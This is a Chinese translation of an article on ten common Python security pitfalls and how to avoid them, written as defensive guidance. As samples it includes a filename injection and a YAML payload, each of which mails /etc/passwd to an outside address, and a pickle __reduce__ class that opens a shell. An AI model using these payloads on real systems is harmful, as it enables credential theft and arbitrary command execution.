Python中的10个常见安全漏洞，以及如何避免

简评&＃xff1a;编写安全代码很困难&＃xff0c;当你学习一个编程语言、模块或框架时&＃xff0c;你会学习其使用方法。 在考虑安全性时&＃xff0c;你需要考虑如何避免被滥用&＃xff0c;Python 也不例外&＃xff0c;即使在标准库中&＃xff0c;也存在用于编写应用的不良实践。然而&＃xff0c;许多 Python 开发人员却根本不知道它们。

1. 输入注入&＃xff08;Input injection&＃xff09;

注入攻击非常广泛而且很常见&＃xff0c;注入有很多种类&＃xff0c;它们影响所有的语言、框架和环境。

SQL 注入是直接编写 SQL 查询&＃xff08;而非使用 ORM&＃xff09; 时将字符串字面量与变量混合。我读过很多代码&＃xff0c;其中「escaping quotes」被认为是一种修复&＃xff0c;但事实并非如此&＃xff0c;可以通过这个链接查看 SQL 注入所有可能发生的复杂方式。

各种复杂的 SQL 注入方式&＃xff1a;https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

命令注入可能在使用 popen、subprocess、os.system 调用一个进程并从变量中获取参数时发生&＃xff0c;当调用本地命令时&＃xff0c;有人可能会将某些值设置为恶意值。

以下这段代码&＃xff08;https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html&＃xff09;由用户提供文件名&＃xff0c;然后调用子进程&＃xff1a;

import subprocessdef transcode_file(request, filename):command &＃61; &＃39;ffmpeg -i "{source}" output_file.mpg&＃39;.format(source&＃61;filename)subprocess.call(command, shell&＃61;True) # a bad idea!


攻击者会将 filename 的值设置为“; cat / etc / passwd | mail them&＃64;domain.com 或者其他同样危险的东西。

应对方式&＃xff1a;

如果你使用了 Web 框架&＃xff0c;就利用 Web 框架提供的工具对输入进行净化。除非有足够的理由&＃xff0c;否则不要手工拼写 SQL 查询。大部分 ORM 都会提供净化的手段。

对于命令行&＃xff0c;可以使用 shlex 模块来正确地对输入进行转义&＃xff08;https://docs.python.org/3/library/shlex.html#shlex.quote&＃xff09;。

2. assert 语句&＃xff08;Assert statements&＃xff09;

不要使用 assert 语句来防止用户访问不应访问的代码段。

def foo(request, user):assert user.is_admin, “user does not have access”# secure code...


现在&＃xff0c;默认情况下&＃xff0c;Python 以   __debug__   为 true 来执行脚本&＃xff0c;但在生产环境中&＃xff0c;通常使用优化运行&＃xff0c;这将会跳过 assert 语句并直接转到安全代码&＃xff0c;而不管用户是否是 is_admin。

应对方法&＃xff1a;

仅在与其他开发人员进行通信时使用 assert 语句&＃xff0c;例如在单元测试中或为了防止不正确的 API 使用。

3. 计时攻击&＃xff08;Timing attacks&＃xff09;

计时攻击的基本原理是通过测量代码的执行时间&＃xff0c;来判断代码的行为和算法。计时攻击需要精确的时间测量&＃xff0c;所以通常不会在高延迟的远程网络上实施。由于绝大多数 Web 应用的延迟变化很大&＃xff0c;因此在 HTTP Web 服务器上实施计时攻击几乎不可能。

但是&＃xff0c;如果有个提示输入密码的命令行应用&＃xff0c;那么攻击者就可以写个简单的脚本&＃xff0c;测量它比较给定值与实际密码所花费的时间。例子在此&＃xff08;http://jyx.github.io/blog/2014/02/02/timing-attack-proof-of-concept/&＃xff09;。

有一些用 Python 写的非常好的例子&＃xff0c;比如这个基于 SSH 的计时攻击&＃xff08;https://github.com/c0r3dump3d/osueta&＃xff09;。可以去看看它们是如何工作的。

应对方法&＃xff1a;

使用 Python 3.5 新加入的 secrets.compare_digest 来比较密码和其他私密值。

4.临时文件&＃xff08;Temporary files&＃xff09;

在 Python 中创建临时文件通常都要用 mktemp() 生成文件名&＃xff0c;然后利用该文件名创建文件。“这种方式并不安全&＃xff0c;因为另一个进程可能会在你调用 mktemp() 和后面创建文件的调用之间创建一个文件。”&＃xff08;https://docs.python.org/3/library/tempfile.html#deprecated-functions-and-variables&＃xff09;这意味着这种方法可以诱导你的应用程序加载错误的数据&＃xff0c;或泄露临时文件的数据。

最新版本的 Python 中&＃xff0c;如果调用了错误的方法&＃xff0c;就会引发运行时警告。

应对方法&＃xff1a;

需要创建临时文件时&＃xff0c;使用 tempfile 模块和 mkstemp 函数&＃xff08;https://docs.python.org/3/library/tempfile.html#tempfile.mkstemp&＃xff09;。

5. 使用 yaml.load

引用 PyYAML 文档&＃xff1a;

警告&＃xff1a;使用从不可信源接收到的数据来调用 yaml.load 是不安全的&＃xff01; yaml.load 和pickle.load 一样强大&＃xff0c;所以可以调用任何 Python 函数。

在流行的 Python 项目 Ansible 中找到的这个美丽的例子&＃xff0c;你可以将此值作为&＃xff08;有效&＃xff09;YAML 提供给 Ansible Vault&＃xff0c;它使用文件中提供的参数调用 os.system()。

!!python/object/apply:os.system ["cat /etc/passwd | mail me&＃64;hack.c"]


所以&＃xff0c;从用户提供的值中有效地加载 YAML 文件会让应用对攻击打开大门。

应对方法&＃xff1a;​​​​​​​

总是使用 yaml.safe_load&＃xff0c;除非你有一个非常好的理由。

6. 解析 XML&＃xff08;Parsing XML&＃xff09;

如果你的应用程序要加载、解析 XML 文件&＃xff0c;则你可能正在使用 XML 标准库模块。通过 XML 的攻击大多是 DoS 风格&＃xff08;拒绝服务攻击&＃xff0c;旨在使系统崩溃而不是泄露数据&＃xff09;&＃xff0c;这些攻击十分常见&＃xff0c;特别是在解析外部&＃xff08;即不可信任的&＃xff09;XML 文件时&＃xff08;即不被信任的 XML 文件&＃xff09;时尤甚。

其中有个“billion laughs”攻击&＃xff0c;因为他的 payload 通常包含很多&＃xff08;十亿&＃xff09;「lols」。基本上&＃xff0c;这个原理是可以在 XML 中使用参照实体&＃xff0c;所以当解析器将这个 XML 文件加载到内存中时&＃xff0c;它会消耗数 G 大小的内存&＃xff08;RAM&＃xff09;。试试看&＃xff0c;如果你不相信我的话 &＃x1f603;



]>
&lol9;

另一些攻击使用外部实体扩展。XML 支持从外部 URL 引用实体&＃xff0c;XML解析器通常会毫无疑问地获取并加载该资源。「攻击者可以规避防火墙并访问受限制的资源&＃xff0c;因为所有请求都是由内部可信的 IP 地址创建的&＃xff0c;而不是来自外部。」

需要考虑的另一种情况是依赖的第三方软件包需要解码 XML &＃xff0c;例如配置文件、远程 API。你甚至可能不知道某个依赖关系会将这些类型的攻击置之不理。

那么 Python 如何&＃xff1f;实际上标准库的模块 etree、DOM、xmlrpc 都广泛受到这种攻击的影响。这里有详细的文档&＃xff1a;https://docs.python.org/3/library/xml.html#xml-vulnerabilities

应对方法&＃xff1a;

使用 defusedxml&＃xff08;https://pypi.org/project/defusedxml/&＃xff09;替换标准库模块。这个模块能防止这类攻击。

7. 受污染的 site-packages 或 import 路径

Python 的 import 系统非常灵活。这在编写测试程序或需要重载核心功能时很方便。

但是&＃xff0c;它是 Python 最大的安全漏洞之一。

在 site-packages 里安装第三方软件包&＃xff0c;不论是在虚拟环境中还是在全局的 site-packages&＃xff08;全局方式强烈不建议&＃xff09;中安装&＃xff0c;都会暴露出那些软件包中的安全漏洞。

曾经发生过把执行任意代码的包用与流行软件包相似的名字发布到 PyPi 上的事情&＃xff08;http://www.nbu.gov.sk/skcsirt-sa-20170909-pypi/&＃xff09;。最大的事故到现在依然没有被真正解决&＃xff0c;尽管它只是为了提醒人们而没有造成任何危害……

另一种能想到的情况就是依赖的依赖&＃xff08;以及进一步的依赖等&＃xff09;。这有可能会引入脆弱性&＃xff0c;还有可能通过 import 系统重载 Python 的核心功能。

应对方法&＃xff1a;

对软件包进行审查。看看 PyUp.io 和他们的安全服务&＃xff08;http://pyup.io/&＃xff09;。所有应用都使用虚拟环境&＃xff0c;全局 site-packages 越干净越好。检查包的签名。

8. 序列化 Pickles

反序列化 pickle 的数据和 YAML 一样脆弱。Python 类可以定义魔术方法 __reduce__&＃xff0c;该方法可以返回字符串&＃xff0c;也可以返回一个元组&＃xff0c;其中包含可调用的对象和参数&＃xff0c;在 pickle 的时候就会被调用。攻击者可以用这种方式调用某个子进程模块&＃xff0c;从而在系统上执行任意命令。

这个例子&＃xff08;https://blog.nelhage.com/2011/03/exploiting-pickle/&＃xff09;演示了怎样在 Python 2 上通过 pickle 一个类来打开 shell。这里&＃xff08;https://lincolnloop.com/blog/playing-pickle-security/&＃xff09;还有更多关于如何攻击 pickle 的例子。

import cPickle
import subprocess
import base64class RunBinSh(object):def __reduce__(self):return (subprocess.Popen, ((&＃39;/bin/sh&＃39;,),))print base64.b64encode(cPickle.dumps(RunBinSh()))

应对方法&＃xff1a;

决不要从任何不可信或未认证的数据源 unpickle 数据。使用其他序列化方法&＃xff0c;如 JSON。

9. 使用系统 Python 运行时并且不修复它

大多数 POSIX 系统都自带 Python 2&＃xff0c;版本一般都很老。

由于 Python&＃xff08;即 CPython&＃xff09;是用 C 写的&＃xff0c;有时 Python 解释器本身也有漏洞。通常与 C 语言有关的漏洞都在内存分配方面&＃xff0c;即缓冲区溢出漏洞。

多年来 CPython 有许多溢出漏洞&＃xff0c;这些漏洞都被后续的发布修复了。

所以&＃xff0c;只要你及时打补丁&＃xff0c;你就是安全的。

这里有个 Python 2.7.13 的例子&＃xff08;https://www.cvedetails.com/cve/CVE-2017-1000158/&＃xff09;&＃xff0c;整数溢出允许执行任意代码。Ubuntu 17 之前的操作系统用的都是这个版本&＃xff08;如果没打补丁的话&＃xff09;。

应对方法&＃xff1a;

在产品环境中使用最新版的 Python&＃xff0c;并记得打补丁&＃xff01;

10. 不修复依赖关系

与给运行时打补丁类似&＃xff0c;依赖也要定期打补丁。

我认为从 PyP 上安装“固定”版本号的 Python 包是个很差劲的想法。这种想法其实就是“这些版本能正常工作”&＃xff0c;因此大家都不再管它们。

我上面提到的这些脆弱性&＃xff0c;如果出现在应用程序用到的软件包中&＃xff0c;那么也非常危险。而那些软件包的开发者们也在不断地修复这些安全漏洞。

应对方法&＃xff1a;

用 PyUp.io 之类的服务检查更新&＃xff0c;把新的补丁合并到你的应用程序中&＃xff0c;运行测试保证软件包都是最新的。

用 InSpec 等工具验证产品环境中安装的版本&＃xff0c;确保打了正确的补丁。
原文&＃xff1a;10 common security gotchas in Python and how to avoid them​​​​​​​

原文&＃xff1a;https://hackernoon.com/10-common-security-gotchas-in-python-and-how-to-avoid-them-e19fbe265e03